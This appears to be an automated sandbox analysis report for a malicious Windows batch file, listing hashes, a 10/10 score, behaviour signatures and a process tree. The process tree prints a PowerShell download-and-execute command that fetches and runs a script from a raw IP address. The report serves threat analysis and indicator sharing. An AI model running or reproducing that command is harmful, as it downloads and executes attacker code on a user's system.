bfecfd11f233e3531ec0241d1186c28fd737e3b476a51e4000312296ab8c0c1c | Triage

Analysis

max time kernel
131s
max time network
74s
platform
windows10_x64
resource
win10v200430
submitted
02-06-2020 10:10

Sharing

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General

Target

b0d58156fab428d26b46727824eabf37.bat
Size

214B
MD5

80701ef329f0effbde1182ab9f26be31
SHA1

b948c5f5d1d8d2f7bb793db6ed2119d8143b8084
SHA256

bfecfd11f233e3531ec0241d1186c28fd737e3b476a51e4000312296ab8c0c1c
SHA512

f2a24c2587f2621b2a9d571522a4e0126af41f482d2e942579c199acacb98a4783dd03f06635173f59c6e37c2ad55f8778a7c0841e4848dee533ddf232ce5b9d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/b0d58156fab428d26b46727824eabf37

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2148 1840 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2148 WerFault.exe
Token: SeBackupPrivilege 2148 WerFault.exe
Token: SeDebugPrivilege 2148 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe
2148	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b0d58156fab428d26b46727824eabf37.bat"
1⤵
PID:1572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/b0d58156fab428d26b46727824eabf37');Invoke-XXZLMCF;Start-Sleep -s 10000"
2⤵
PID:1840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1840 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2148

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2148-0-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

Download
memory/2148-1-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

Download
memory/2148-3-0x0000000004930000-0x0000000004931000-memory.dmp

Filesize
4KB

Download